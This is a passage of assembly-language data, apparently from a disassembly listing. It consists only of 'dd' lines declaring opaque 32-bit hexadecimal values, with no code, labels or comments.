		dd 9030C4B7h, 1DF235B8h, 1456BB21h, 79BC0CBDh, 11C2E700h
		dd 86262948h, 0A08C820Fh, 2FF51668h, 0A7F3049Dh, 9F193A36h
		dd 0A4D49092h, 62DB1140h, 15693C65h, 0E4A3CE85h, 0EB38D433h
		dd 15001C6Eh, 4E26597Dh, 0F09CF9BEh, 59D4D32Dh,	3618DCh
		dd 95831364h, 1CBE045h,	21193900h, 0ACE33D50h, 0C9E0C4DAh
		dd 0E47AAF97h, 8B65911Fh, 0E8F16A82h, 74C52896h, 5306EBBh
		dd 0A3C0122Ah, 0C84A6C81h, 0DC031405h, 54966980h, 0EB24BC46h
		dd 8A0320D6h, 9098A4DBh, 1610576Ah, 0E1DE6404h,	0CF62BC8h
		dd 0EEB753E0h, 81D5AA13h, 0D407C462h, 18D44978h, 9244D1C7h
		dd 964D1C90h, 9F00E941h, 7FE97E1Eh, 0B180C89Eh,	0B7116C97h
		dd 70B1303h, 0FC707C15h, 0B9FC4FFBh, 4ADB3DA0h,	0EFFE09DAh
		dd 688A725Ah, 7E0C162Eh, 773CBD46h, 4072241Dh, 0DBEE448Dh
		dd 1494E0B2h, 0F683E400h, 0F0104FEBh, 0F58A2D25h, 9D91B81Dh
		dd 986FB68Fh, 9CE26709h, 80C035FFh, 622B8F21h, 755C8E8Ch
		dd 58565B20h, 0C71DB4A8h, 0B732CFDCh, 0D46FBE12h, 0CF9B900Fh
		dd 0E1EA901h, 0CA4F0111h, 4A92B060h, 0BAC85210h, 0D8F0F04Bh
		dd 70986E50h, 4820B0Bh,	4C80A595h, 0EE46A40Ah, 964A163Dh
		dd 403B9E22h, 0B9032023h, 0A48A355Fh, 0F70EC0C1h, 32821200h
		dd 1248A55Dh, 2CF98E60h, 140FDDB8h, 0D09D2118h,	1B4205Eh
		dd 9000AA94h, 0DF408F2Eh, 0ABEA12Dh, 0A77D018h,	17AF8B80h
		dd 6DB790C6h, 0EA69C068h, 0B100806Fh, 0C851AC96h, 4E7986A1h
		dd 9840B44Dh, 3F8D4404h, 74C1E097h, 820490FDh, 0DE2BAEF0h
		dd 5AB103Ch, 0ACE5162Dh, 236C3BEEh, 0F44C00DEh,	72541785h
		dd 1E9F373Dh, 5B79A64Eh, 748860B3h, 78E4ADh, 0E9A486AEh
		dd 3E6F6201h, 7AE0F1FAh, 45776400h, 5D86B1A9h, 1F2E48AFh
		dd 8AC8405Bh, 0B54AF66Bh, 7B8F2B00h, 0D8F48DCDh, 5CAD5E19h
		dd 0FC58C08Ch, 0EC79F0B2h, 18883B4Bh, 0FF4100F9h, 85FC018Ch
		dd 5E006426h, 0E7EBB205h, 0BF8415FBh, 0A53EF864h, 1A980004h
		dd 0DABFBB17h, 19C40F50h, 0E8403A74h, 0E9F0681Fh, 0B391D313h
		dd 3FC0DCFDh, 931E4919h, 55416007h, 0BFB3A1A9h,	7194D030h
		dd 0A2545FEAh, 3020F268h, 7609557Ch, 606BD5h, 359190A4h
		dd 0C82A09E4h, 587E9948h, 0D4047CE9h, 0BE24407h, 98B1CBAFh
		dd 8185164Eh, 0BE0ED368h, 9982F040h, 7F1C1259h,	0D176256Ah
		dd 2F58E876h, 5C598247h, 6D18A279h, 0BA73990Fh,	0E74FA54Bh
		dd 33048Ch, 63504D19h, 10DDB713h, 25320A04h, 0E816EACEh
		dd 5D93C2B4h, 978CF896h, 0B22B30C0h, 60A2E487h,	2CB50D8Bh
		dd 905D2AEh, 6C7CC9C6h,	5D662A09h, 8C0AECB0h, 0DD173807h
		dd 0AEE66CEFh, 386FB518h, 305F0940h, 28EE972Fh,	91B095B7h
		dd 6CE28025h, 0E8F360Fh, 0DEB906E8h, 0F9702200h, 0D409900Eh
		dd 0B70B082Eh, 58DA0058h, 2E9415CBh, 7FE2D09h, 7B888B56h
		dd 8A9CD09Ch, 0D20B6279h, 8E6BC587h, 91DC834h, 38780CADh
		dd 365F6E04h, 0C4A8B8D0h, 18BBEA10h, 8A1010EEh,	259180C2h
		dd 0A4C15A4Eh, 442F366Dh, 9A0E85Ch, 3E105991h, 2BD17A01h
		dd 8A20B226h, 140F7E70h, 0F8C25D04h, 94861401h,	34C02F9Eh
		dd 5AFE46ABh, 35B8E429h, 29CCDA31h, 2EF64Ah, 800669B8h
		dd 2D1892A7h, 0B420F922h, 0A4F25E8Ch, 8F006540h, 0F05496DFh
		dd 4991B62h, 0AF53CD3Dh, 89698614h, 0E2B0809h, 178078FEh
		dd 31A48BD3h, 2F249600h, 20EF54C5h, 6B92A27Ch, 19166E05h
		dd 9844C948h, 4305A852h, 17880870h, 885F06BAh, 0C1158AEh
		dd 0C8263539h, 867452D1h, 95231780h, 83EF58E8h,	0C82991Fh
		dd 0DAF0A82h, 1048F2F5h, 5B229BEh, 0F422E23h, 5DE042BBh
		dd 0EA13F87Ah, 0F005ABh, 1A53A35Ch, 79738DEEh, 26DBD27h
		dd 6472FB30h, 0BE51073Ch, 0CBD98AACh, 0D240D47Ch, 5CFF8A3h
		dd 0FC1C4672h, 503ABFF3h, 0A2002423h, 8EE0DA4h,	8C7B1D2Ch
		dd 0F4D96D18h, 0B218602Fh, 817E1601h, 0EDD8ECA7h, 0D14B30E6h
		dd 7B8AE705h, 0A401E230h, 0BA0EA205h, 0C044827Bh, 822490DFh
		dd 0B00A00B9h, 0D705EEF8h, 2607D6FAh, 2DAC1210h, 0B9C1FC20h
		dd 2F309C11h, 180060BDh, 7EEFE1ABh, 70F0592h, 824FDA52h
		dd 0C4A99509h, 5E270873h, 0F3F8D42Ch, 0B4977C7Dh, 44CD9508h
		dd 0E6E0CA47h, 0A9C3C79h, 1F5E48F7h, 0BAFC02D4h, 0CD752F09h
		dd 99CC6094h, 0D0F6727Eh, 71281530h, 9DC646C9h,	0C4C3106Ah
		dd 149501ACh, 522F9A62h, 3AD4B10Ch, 0FFA0B0A7h,	15076A0Bh
		dd 97D77555h, 0F0955D89h, 84076F9Fh, 0B1FC8FD4h, 8C0C4C9Ch
		dd 68619969h, 0F844103Dh, 0C5412CF4h, 0D8467E58h, 97D43206h
		dd 0AF1971A7h, 0C021C611h, 0EB7C742Eh, 0F18058DAh, 0BD795328h
		dd 0B7A6882Dh, 0EBF3027Ch, 885CD5F0h, 82A3B950h, 0D05E0860h
		dd 0B8995D82h, 7D984309h, 0E8E0A9D4h, 44DD1EDCh, 5159401Ah
		dd 9F5859Dh, 38563D2Bh,	0E3F0D8A5h, 3595ED10h, 14E0809Ah
		dd 2C176FEAh, 2C6E2F62h, 0FB9DED00h, 0E27B9864h, 6E04C0B7h
		dd 4054165Bh, 22F4EC13h, 0CC979F24h, 0BC872491h, 69B5400Ch
		dd 1107707Fh, 3E2A020Bh, 745C093Bh, 0BC5C5238h,	1FB84656h
		dd 73804EA5h, 0D8480661h, 0B4D995CBh, 3500FCACh, 0F2595582h
		dd 0D4060244h, 39D3AE7Fh, 4140147Ch, 0F65E0292h, 0F71702F5h
		dd 0F86323E8h, 30E1B040h, 0BC256CB0h, 403CF691h, 9D4881E5h
		dd 8D0C2F77h, 0C0E19E63h, 0E2E84B4Fh, 229C90E0h, 93A40911h
		dd 0A4DFD6E9h, 30AE696Ch, 163140Ch, 0E4E3E44Bh,	0BF279A20h
		dd 0BF205A56h, 98F89C40h, 0C24C455Ch, 9C73235h,	0FD610C74h
		dd 0E32A0E29h, 30DDF21Ch, 0AB02B6C0h, 92F603CEh, 8C88809Ch
		dd 41547255h, 3908300Ah, 1E2900E5h, 0F049E9CAh,	20D4902Eh
		dd 8A005F78h, 32334583h, 0F7C550B1h, 0C1189E2Bh, 9BEB5652h
		dd 0E8D6D7F0h, 74A0B7ADh, 4D251A23h, 0DCD31B09h, 440714Fh
		dd 82E98021h, 385CFE42h, 0B8C46Bh, 0AE6DF3A4h, 766545B1h
		dd 0AB00B4E4h, 0C544DA29h, 250436E2h, 8C4DA692h, 83984CC0h
		dd 0FD2C4A04h, 8CDDA838h, 0D6096C7Eh, 7CEAAD86h, 303725ACh
		dd 0B08F0E00h, 2061AC8Ch, 585BBF3Ah, 2D91F802h,	5C1157C6h
		dd 20550877h, 0F09DD976h, 0BD20007Ch, 0C8EB70D7h, 2B077731h
		dd 0C43D4667h, 0E7B0120h, 0DF524B7Eh, 130AC1ACh, 0AF2084EAh
		dd 598E01B3h, 0D4E0C57h, 30DB6AC4h, 6B526980h, 0E012B1DAh
		dd 0BCB507DEh, 5C6F3Fh,	9BC052D4h, 3880A06h, 0D3EA6566h
		dd 0C904A28Fh, 8E8C0153h, 199AA4ECh, 1AF29C82h,	7255C64h
		dd 4524F11Ch, 807BBB4Eh, 0BED57A0Fh, 2C0293A0h,	16638626h
		dd 183DAD70h, 91B0F029h, 0CC7FDB4Fh, 8184E300h,	0D311C818h
		dd 0ECF8001Dh, 40AF55E8h, 0D995649Fh, 9204D724h, 0C183FA25h
		dd 9E59B1A6h, 0E41C5FF2h, 4BE0D54Dh, 0DAE22CF6h, 0DC007856h
		dd 8DF87AB3h, 819844A1h, 788E8A5h, 0F49A2FA4h, 0FE4810F5h
		dd 74950235h, 2EE87629h, 75889ADDh, 8DEF2490h, 1E025E3Bh
		dd 0F905A72Ah, 34BB5303h, 9D08170h, 0C5670389h,	0ECC1F0C4h
		dd 58F2BDEDh, 82364ECCh, 9F7D13Ch, 7748A96Ch, 59ED2C10h
		dd 6D5EBE7Ch, 1E9B0C8h
		dd 6A4B2E49h, 60BCFC55h, 0E4127958h, 6EEA9F1Fh,	68371DA0h
		dd 2F6D108Eh, 6AAF9276h, 0BA235Ch, 0D9A6B74h, 0CA040796h
		dd 0A881C64Fh, 0BB262B07h, 6EC36C41h, 6E2E64C9h, 24AF01E4h
		dd 6BF5A0D6h, 73FE14F0h, 46622FFBh, 0B893F084h,	48BD9344h
		dd 3B018FB8h, 78216F27h, 0CD2F447Eh, 0A220336Ch, 691130DCh
		dd 0C6CF0C17h, 528000ACh, 339966Eh, 0C9658607h,	58D29369h
		dd 7C98DDB3h, 0C125C5EDh, 699CF9B2h, 4B83555h, 0AC7B8BDEh
		dd 0F9009C40h, 481935B7h, 0C4A44CCBh, 8CA6E8h, 0E7E6BB05h
		dd 0B469392Eh, 60CA4C25h, 256194C8h, 0F4FEBE3Eh, 1D56EB9Eh
		dd 67F7C4A6h, 89235F6h,	7F9C7D90h, 0C9AEEC42h, 2DB47872h
		dd 48D3B416h, 498F4481h, 0C04CB0A4h, 1E8DEh, 0D086F775h
		dd 62801FE3h, 9F0B4B7Ch, 40342A1Eh, 74C130h, 656A498h
		dd 13C6648h, 59151F09h,	5D1042F2h, 10174041h, 0E42235h
		dd 25A67557h, 404F6F19h, 7CC53A25h, 6F9F1284h, 0B31604B0h
		dd 0EDC2F811h, 7838A017h, 0FE72AE3Eh, 21FF08Fh,	522306A2h
		dd 906BA743h, 8CA8BE3h,	0BE148898h, 28C56EF1h, 23103BEEh
		dd 0EA86029Fh, 50C06901h, 65B76A90h, 0D3D81048h, 7206AAAh
		dd 95DC2B85h, 9F1ED411h, 6993C040h, 7BCA0F0h, 0D144B937h
		dd 60DC199Eh, 0D5A63E50h, 5B908BCBh, 57A00CE6h,	51DA313h
		dd 710E9714h, 3D948146h, 1200F226h, 349CAA52h, 74FD0712h
		dd 58C9DA8h, 0D281ACA7h, 0BC6FBBBEh, 7800A523h,	0E824BCB8h
		dd 939C123Ch, 0C390FC9Ah, 4E8A2E17h, 0DDB8B031h, 0A22C859Dh
		dd 0E451AC83h, 8F271703h, 0A40A2900h, 10A3FEE0h, 0E87A4A94h
		dd 2B6EC1F4h, 3B3B8B68h, 0A12308h, 67713B89h, 0BD0513F2h
		dd 0DCC63D92h, 0FA4AB447h, 25CF0248h, 0E809C95Eh, 90572CCh
		dd 2F889FFDh, 0BAC8B5FFh, 0D561F700h, 2BE18398h, 0C42F4A26h
		dd 6CF117DCh, 0AACE0C6h, 0AFF0B895h, 3C25B715h,	77448124h
		dd 0EA80DB52h, 0F1275925h, 0C2602BE9h, 0E0DC4DB4h, 0D9495470h
		dd 7DB17602h, 0E0BD1132h, 83BB8960h, 1DAAA010h,	0A073BC00h
		dd 5D1216E9h, 5409F24Bh, 5A4499E2h, 0FE937CDCh,	0EC7A0EB8h
		dd 0F8413A74h, 20EA5062h, 16049CACh, 9E31404Ah,	403A6CB0h
		dd 850C0CEEh, 0A197880Eh, 0DF123FBBh, 4DA8FB07h, 0DD21C0E0h
		dd 0EA095313h, 60E23D91h, 1354E81Ch, 0BE7A2B69h, 0C8F6C023h
		dd 985176h, 3A3E1149h, 8260123Ch, 6AEBF204h, 82AFC8EDh
		dd 0A920ACF4h, 0F480455Bh, 0FBB700CFh, 0DE765AE6h, 91504830h
		dd 0C0D3A5CEh, 0B7C89C8Bh, 0AFB996C0h, 949095F7h, 0B47C760Ah
		dd 53EDDD07h, 3070427Ah, 0A1713267h, 0E84050F8h, 888F2917h
		dd 40B8C0Ah, 7C104633h,	948F6F44h, 858E5467h, 2865BE95h
		dd 0D4A898A9h, 599FBB00h, 807C5A54h, 96880E45h,	0C4695592h
		dd 8C73605Ch, 41540456h, 8B0A04B9h, 8CB020FEh, 9900F2BDh
		dd 5118E95Ch, 0FEEEAABAh, 82E04BBCh, 0B5750AE4h, 867B8238h
		dd 4677BE5Ch, 821213A0h, 0F1AC81AAh, 54A32BE3h,	0DA1AE182h
		dd 11BC1D7Fh, 5DED81B7h, 0F0306F50h, 0EF04F5EAh, 76CBFC0Bh
		dd 18EF7640h, 0F466B76Ah, 557FEF07h, 0C340D95Ah, 95130B72h
		dd 0AC3060D0h, 1AE23912h, 0A87A028Eh, 0AE4157Dh, 0B2F40055h
		dd 2F28E85Eh, 489FD608h, 4E04C6BEh, 0C1298A23h,	42A0604h
		dd 0D92A94F1h, 4CA22E40h, 0D35A1200h, 2B4896F7h, 0E820D10Eh
		dd 87102044h, 3175222Dh, 4250C1F6h, 81F011Bh, 121C882Bh
		dd 0C34A6215h, 0DE9F25A4h, 0C300DC90h, 0F088D9AFh, 19321C6Ch
		dd 60E27A5Dh, 38886EE4h, 95FC3Ah, 3EC06606h, 0E02FA35Dh
		dd 4F943C5Ch, 9812F4F9h, 842CAB4Fh, 2A795CB2h, 7C44A25Bh
		dd 38F5ADF0h, 0C5E31018h, 0F664205Ah, 0B00407Ah, 41166655h
		dd 0F8508776h, 40935FD3h, 356F9818h, 0F60025C8h, 0FA84455Ch
		dd 9F19C64Fh, 0A257E409h, 208ACB7Ch, 0AFE62A48h, 948D3F05h
		dd 0B4F81A5Dh, 60CB4316h, 0E0465920h, 7E4B0398h, 80E6C41Ch
		dd 0C6ABC760h, 0F8350944h, 43058E98h, 4AFC04CEh, 3A3888ADh
		dd 0F7D13B03h, 0E0B98B09h, 6B0AAFC5h, 0AC9069D7h, 630010BDh
		dd 65E20E53h, 9C24B60h,	0FF3F8298h, 2BCCD461h, 3D1A4088h
		dd 56132964h, 0D024BA27h, 52C09C34h, 399A9C13h,	8E005102h
		dd 0EF8C57FFh, 264BA1D0h, 0DA4F98D1h, 3F802C6Ch, 4C565AACh
		dd 0C1CA1400h, 0C26BF366h, 0DC3A02AFh, 0F2645FD1h, 0CB0C0CE4h
		dd 4918AE26h, 0F0295A8Eh, 530B5B8Ch, 0C33CE9h, 8AF31050h
		dd 0DC5A9F59h, 4923670Fh, 0B8B033C5h, 0E880029Dh, 0CAFD8FFh
		dd 0BE4D8C90h, 778C494Dh, 14A18EF7h, 0C66DA0C3h, 182B8658h
		dd 8032D216h, 0A272EC45h, 235BFC0Bh, 113CDC6Ah,	0BF441DBBh
		dd 47B45580h, 81B3ADAEh, 0ECB16A9Eh, 123521DEh,	4A9801E8h
		dd 0F1F0D12Eh, 40F180AAh, 0CD7AA588h, 0F7EB09C3h, 285C02A7h
		dd 0BCE54C2h, 0ADAAA802h, 766C0B09h, 7417E940h,	4802011h
		dd 0A89FDAFBh, 7A359216h, 0CA426442h, 9698A111h, 0A04A1F9h
		dd 60D4C180h, 0CF602981h, 8CCB7F24h, 0FA88D08h,	0EEC6AC9Ch
		dd 332598C9h, 268B760h,	0C32744F0h, 0C0E4CF57h,	1CFC42B2h
		dd 0E5A0D19Dh, 0AC24ED73h, 0E23BE9E2h, 0C1D50028h, 0A67A0AE1h
		dd 533B4CA9h, 315B5A00h, 0E8E5787Bh, 5D341F04h,	9CB9C7EEh
		dd 0DD97E404h, 0C453ABD1h, 2106EFBh, 0AB6D0BE7h, 12785624h
		dd 5AC4B250h, 0EB83AC9Bh, 48F8D0A9h, 0DA2016D1h, 964F0D20h
		dd 0E558B671h, 6EBD2170h, 492908Ah, 0C8A9EA30h,	65B761CCh
		dd 0D17E1A74h, 0C0586D55h, 6A874F35h, 0A2CA030Eh, 0A92F60E2h
		dd 9F28823Eh, 947D04A2h, 98EC6C57h, 0C076206Ch,	0CCC9954Ah
		dd 0BF46DC41h, 0AEB40703h, 4E00646Eh, 3972F49Fh, 0D40022C0h
		dd 0C8C1207Ah, 4E2CDB9Ah, 0A2A8E871h, 0F4F42BB7h, 90B75B3Ch
		dd 9826C222h, 4E4B0C4Ch, 908E3AE0h, 4057C241h, 22812A74h
		dd 68053678h, 310E1E2Bh, 22AE8C52h, 255501CCh, 9494C9F8h
		dd 0B3B85CE9h, 94901001h, 19E07E25h, 0B26EA851h, 8EE13B03h
		dd 907CF2C7h, 4F7301DEh, 98C9C80Ch, 0B3B02014h,	4A08F458h
		dd 8212BC41h, 8832AE16h, 0BB3E1062h, 14EDF004h,	0E38C9F0Ah
		dd 0A37E8094h, 5914EA0Ah, 0D3E9F209h, 1389089h,	5CF54898h
		dd 611F820Eh, 7985E92h,	0C05B1489h, 8839D468h, 2F0174B1h
		dd 965C3C2h, 13CC9C8h, 3BD34597h, 0CC345A29h, 5C094A91h
		dd 0F91EE4FBh, 3AF8124Ch, 20A52334h, 6187A81h, 7C6512B3h
		dd 4A90F076h, 9B93F0C4h, 6FD288ACh, 1D810530h, 0C1AA260Fh
		dd 4E1DA68h, 6AC0CDABh,	0D380D4DBh, 0CD7899C3h,	6C4B517Bh
		dd 7FEF94C0h, 0E8B34E1Eh, 6FAB9610h, 0FF18098Ch, 84B45954h
		dd 0F0E25D93h, 7A31144Ch, 9992617Bh, 302C882Bh,	0C40240F2h
		dd 7E8F0E31h, 0DC4E577Ah, 40A46DBFh, 9B14F27Eh,	0AE9A3A00h
		dd 26162948h, 0F4D8039h, 465E18BEh, 9F620EB9h, 9471A12Ch
		dd 0FC394998h, 873CFC4Ah, 0FDB14C2Bh, 2CEC8C62h, 0C669507h
		dd 4F4E6CA8h, 90B6A44Bh, 0AD82FEE0h, 5D0E1500h,	2629F98Fh
		dd 0D83360C6h, 0E665C414h, 8BD25E4h, 4674E4A0h,	2F6E0023h
		dd 0DCD117E3h, 0F65D0440h, 0EB928D9Dh, 1AD4DCh,	3C4C216Fh
		dd 68F1FBBAh, 0F237900Bh, 0D2B890ACh, 52F700C6h, 35173F5Ah
		dd 0FD01DD26h, 33D992F8h, 0DA100EAEh, 0DE122E71h, 0C8A8FF96h
		dd 4D0DFB05h, 0BC30AC72h, 0B2018CBAh, 8E034665h, 0E8D43A83h
		dd 0C84D049Dh, 0EA0E2D47h
		dd 0D8C8B8CFh, 0E52B2FCEh, 2FE5582h, 58D9E4F4h,	0B2401077h
		dd 3D71E5h, 0A5360EEAh,	9684E138h, 9933F813h, 1B46EEFh
		dd 5083FD35h, 0F33AA007h, 0E59E08F4h, 83EF828Ch, 4F5798FBh
		dd 672064C0h, 0BD314340h, 0DCE49795h, 0F40E2Eh,	6EE1B601h
		dd 27DC16F2h, 0FA810379h, 0BCE4FE40h, 0B031A6F8h, 0E8C35782h
		dd 0DCFED0F2h, 8F3BF071h, 0C0BD8810h, 5A32F27Fh, 93BF300h
		dd 98DF736Bh, 80219D4Bh, 508B2317h, 0F22F40CCh,	0F341D36Fh
		dd 3FBAD890h, 0E6720EBDh, 0AAE033F4h, 8B158E04h, 8756C90Eh
		dd 0DD26A902h, 0D7D2601Dh, 6F03D0B5h, 0E0DD8A2Dh, 2438AF21h
		dd 6F68048Bh, 855FD7C1h, 0EBF5FC60h, 0E47EBC02h, 0F53E42F8h
		dd 0E9973000h, 0AC5ADBFFh, 0FD4E7840h, 2B18EA5h, 87044DAFh
		dd 0C055F42Fh, 0B01FE464h, 0DFB2226Ch, 0A34B5A76h, 3226908Eh
		dd 0BC5EAD90h, 0A8CC00DCh, 565D70B9h, 1812C111h, 8CE26157h
		dd 1759688Ch, 8F182E48h, 18A35213h, 5E3E943Ah, 2102E44Dh
		dd 9F6B1C7Ch, 8324BF55h, 0ABF20AE9h, 0E67DB900h, 0D1649325h
		dd 3EFB09D6h, 2C56B9CFh, 0A9380F6Bh, 0E12C56CAh, 50C281BAh
		dd 0E9F09EA4h, 4ADC4E38h, 2B0330F2h, 38925206h,	6090FCF0h
		dd 8402AAE4h, 98FA75CAh, 1374524Eh, 0AC1F0169h,	135A804Ch
		dd 0B57D8491h, 0F1170CD8h, 0F4F2E433h, 0C1C0DB5Fh, 2947EE07h
		dd 0B77236E0h, 0B7758809h, 18370064h, 0C6407BCFh, 517EDD2Fh
		dd 0D44F00B8h, 5A682F9Ah, 5B094900h, 59D52B65h,	0EF0F2576h
		dd 64AD5059h, 8FBE2C60h, 98350923h, 5E253456h, 72AD51C8h
		dd 57CB00B0h, 835DC532h, 0F26CEA4Ah, 5BCE00F8h,	1A497354h
		dd 1AB5FDCCh, 4604C0D8h, 0AC130BF8h, 0DC7C4A70h, 0C07CCD27h
		dd 45C70B7h, 85E1D605h,	644157C2h, 0FA206114h, 0C020A5C9h
		dd 70D19578h, 60205217h, 9D09AF68h, 9E04CCF9h, 10BA921h
		dd 7C6A007Eh, 70FDB489h, 0DC479F40h, 9260DDC4h,	0E77E9EA8h
		dd 6C58FC61h, 13FB0848h, 0BBBAB981h, 0E023906Fh, 2B09303h
		dd 8525D89Fh, 4DE90AE5h, 82E869BEh, 4EB84806h, 4460785Ch
		dd 71FF9D8h, 0D99A942Bh, 9D021E7Fh, 6DD79F2Fh, 0C9C0CE54h
		dd 2B813703h, 0ED75F2E5h, 60BD4460h, 752A3DFEh,	7D3B1D78h
		dd 14B4441Ah, 0C168B89Dh, 0AE727A12h, 881CA33Bh, 440680C2h
		dd 1336F50Fh, 0A459C13Fh, 0E8809C9Ah, 7337FB4Eh, 25AE00CAh
		dd 147730E4h, 400141F8h, 6F5AB182h, 6849672Bh, 4B35A801h
		dd 0F91C8C3Ah, 0CB2D9A00h, 76318DD8h, 0B4F122A9h, 0F59C8400h
		dd 0FC68811Eh, 8033005Ch, 0D94A62A3h, 6DE6C531h, 0F0092AECh
		dd 0DD6A22E1h, 68AB041Ah, 0FEE27076h, 521200C4h, 781AA36h
		dd 26CA32Bh, 14F61D7Fh,	0EC14559Eh, 0F22ACC45h,	964700A4h
		dd 4E83B222h, 0B3A920BEh, 0E8CCFF4Ah, 1E3D1839h, 798A48D4h
		dd 18A46E32h, 0DCE85DCEh, 7582AFE5h, 0D6A5A8C7h, 0B201D418h
		dd 46A131F8h, 50803CA2h, 8893EDADh, 4CB673C4h, 0F66E24D6h
		dd 3C900139h, 7BF5AE5Dh, 0B7733C49h, 0B313004Ch, 36263FAFh
		dd 5C754A25h, 0EC1E0BE4h, 3EB83D7Dh, 9C8E8500h,	0E8F802BAh
		dd 46220500h, 0BE3438ECh, 72F0156Dh, 7A0094D5h,	0B462CB8Eh
		dd 8A001E82h, 3A3B4A4Ch, 4FEC94C4h, 0F66013D3h,	403CE2ACh
		dd 80A242B0h, 8A6B2F17h, 2EA8FE21h, 0B4465E68h,	0B0FB26h
		dd 96B06003h, 315EC5CFh, 50A5ACA1h, 0FD70785Bh,	9E79011Dh
		dd 506F911h, 5C206BDFh,	2A5657h, 0D408B05Bh, 297E8E51h
		dd 0DE0EDA27h, 5423400Ch, 76901860h, 0F0048690h, 9A456207h
		dd 3050C4AEh, 0A81749B8h, 90001E77h, 9ADFB3DBh,	0CD52C3h
		dd 4F616F4Eh, 83EFF0E7h, 6233E025h, 5E40547Ch, 6B02B446h
		dd 169226CBh, 15A89AD5h, 80BB1124h, 1BBD1FB4h, 32563050h
		dd 9DD46DF2h, 440E51D3h, 88435045h, 0B0DE6000h,	0C86EE7D4h
		dd 0F6E83224h, 0C405C204h, 0DE8C16ABh, 0F358304h, 0C932E04Eh
		dd 2A7E2016h, 0B99DCD1Dh, 0A5AC5B25h, 4402F456h, 5F720834h
		dd 1E03DCB7h, 0B094BE5Ch, 157CFA37h, 0ACA226C9h, 1874472Dh
		dd 415384E4h, 0AF5F4D8h, 0DCA63F8Bh, 20D8EEE1h,	70B7CAB1h
		dd 0C825FF40h, 1E06F7Eh, 5B6ED7ACh, 0F830E844h,	34EF4CEEh
		dd 0E3E67AF9h, 0A24F4E07h, 0ED95E3A9h, 18E90284h, 3051550Dh
		dd 3A0084Fh, 136DBD8Bh,	9D182E76h, 8D0C33E5h, 9684C85h
		dd 0C17BBF7Ch, 6D4B70h,	0AD5AAE55h, 0EF8166C7h,	90FF8D06h
		dd 0E097E856h, 0EE910074h, 45236EF5h, 0CA029F6Dh, 50BABDA9h
		dd 94F85552h, 825F5B32h, 9BCC2305h, 8B595CF8h, 9000F87Eh
		dd 0ADD1C781h, 38644A6Ah, 0FD5E35FFh, 208AEC58h, 0E31DA835h
		dd 8B4167CFh, 258964DAh, 49E7FFC2h, 0FF601BC4h,	0D2005539h
		dd 703542F4h, 1214BBF9h, 0AA3B949Ch, 3A5736C8h,	3D68820Fh
		dd 17E108D4h, 0FF6A5B04h, 0B109F6AEh, 45CCBFDCh, 0FF120642h
		dd 541BFDB5h, 4195890Dh, 0B2F30C15h, 14E9210Dh,	31408301h
		dd 4A0B79BDh, 1205BE16h, 5101810Fh, 1C058D89h, 40F7E402h
		dd 0BF0C5529h, 0EE9AEAD1h, 0A364FF2Dh, 5D04D800h, 50C0C442h
		dd 0D73502A3h, 8D09CDACh, 3E05AF43h, 0C8B60F5Fh, 0BAD8C205h
		dd 3C293914h, 31329F3Dh, 0BD7C154h, 0FDBFD3CBh,	0AFDA8708h
		dd 10387DEh, 914D59Dh, 0BBC82B50h, 12EE5080h, 28D2D18Bh
		dd 0CAB792EBh, 6001D357h, 81F87342h, 0CE3D4EFEh, 0E95F880Bh
		dd 0B2BF8705h, 8B50A0BAh, 3603985h, 8395B374h, 0B50750C0h
		dd 0B82A414Dh, 69E92812h, 0D19F1A00h, 3B027E08h, 1D9AA1D0h
		dd 174AE77Bh, 5400802Eh, 7247A3DAh, 99060263h, 3DE9699Bh
		dd 61201846h, 0EF1BD07h, 4D4868A8h, 76512F21h, 228488A7h
		dd 0A5F6A7A8h, 57FE17A1h, 397F704Eh, 4168E3D5h,	80036DC4h
		dd 70E9F7C3h, 386CC327h, 0FBF5151Bh, 0D080839Bh, 122D9531h
		dd 7C2EF495h, 0BF4A1C46h, 39034544h, 9D25C3EAh,	0FE8B57F5h
		dd 1523006Bh, 0ADBA09h,	0A372F33Ah, 0BF06E8B9h,	0ECD0E6D3h
		dd 0A4160AFAh, 12CD28C1h, 269AAEFCh, 2EAF93CFh,	0F9BD8981h
		dd 0FCE09521h, 6B77BCC5h, 0BDFD0EB8h, 9AD000C4h, 0BEE86BD7h
		dd 0D22B5917h, 0E76EEFh, 3291106Fh, 45E6EB6h, 8DBB663Ch
		dd 9D92DCA3h, 0ADF39560h, 80D1C233h, 0E90083D0h, 66F47504h
		dd 0BD86C8BFh, 4171D3FBh, 64FDC0h, 6D2CD84Fh, 8F0F9FE0h
		dd 857D41A4h, 0DDEB083h, 0AA18D288h, 9E80DF9Bh,	958B4B1Dh
		dd 0F4285D2Fh, 9E00F4EBh, 0D9EA0371h, 6E8D8589h, 0D1A9A329h
		dd 1B02F52Bh, 7090CB9h,	18F1C25Dh, 8BCC103h, 2BA6AB74h
		dd 58685819h, 5A1B9FBDh, 87178D0Fh, 83DBB761h, 0D82381F4h
		dd 8784147Eh, 0F434D695h, 1AFB1100h, 0EB87F351h, 8CC4248Eh
		dd 14E508FEh, 401ADE2Fh, 0C3EA2DA1h, 79006375h,	0A22FC228h
		dd 365F849h, 0F821921h,	3E10741Eh, 5B112A61h, 297C70B8h
		dd 38960559h, 4E3E978Dh, 831A621h, 26E1FF01h, 0F0CBF39Fh
		dd 26428B75h, 5CE8932h,	332709BDh, 534AB994h, 1E746BEEh
		dd 6D41FBC0h, 5F6275E5h, 81013048h, 8DFF15A4h, 6D85F4EDh
		dd 19083441h, 860F1103h, 10414C55h, 810030F1h, 56847CEBh
		dd 9CBB603Ch, 5714878h,	3FEEFB05h, 295580F8h, 1F419585h
		dd 7EB2E17Fh, 4EE0BDF6h, 9300718Eh, 3402EA42h, 0BB8A0FC8h
		dd 0AA508BDh, 4E18004h,	0B059A6AAh, 28A0CF9Eh, 2FACC90Ah
		dd 2CD6010Dh, 0E8AD09F4h, 0D85DF160h, 2F35B0ACh, 40DC1BF5h
		dd 0AB2601F4h, 0E10FEB16h
		dd 48543C56h, 0CA6407B2h, 2B7B8533h, 2D4908F7h,	7BDF8000h
		dd 4A048950h, 186BFA24h, 6ABCE801h, 418DEFEDh, 460F99B5h
		dd 45701063h, 0DFE6C082h, 0ED160068h, 5ABFC2E7h, 7A33B508h
		dd 0E9E97E81h, 0F7293D37h, 102664B8h, 0FE1A46BCh, 0C10FC06Bh
		dd 0BD01802Ah, 0C1EED34h, 0C276A083h, 0E9ABC014h, 5433FF6Dh
		dd 0EC301CE2h, 12A01D9h, 0DFD5CDBCh, 0CF28709Bh, 0EA1B5A28h
		dd 0C56B6E68h, 0C745B307h, 0CDFE1805h, 72B5C871h, 109827D0h
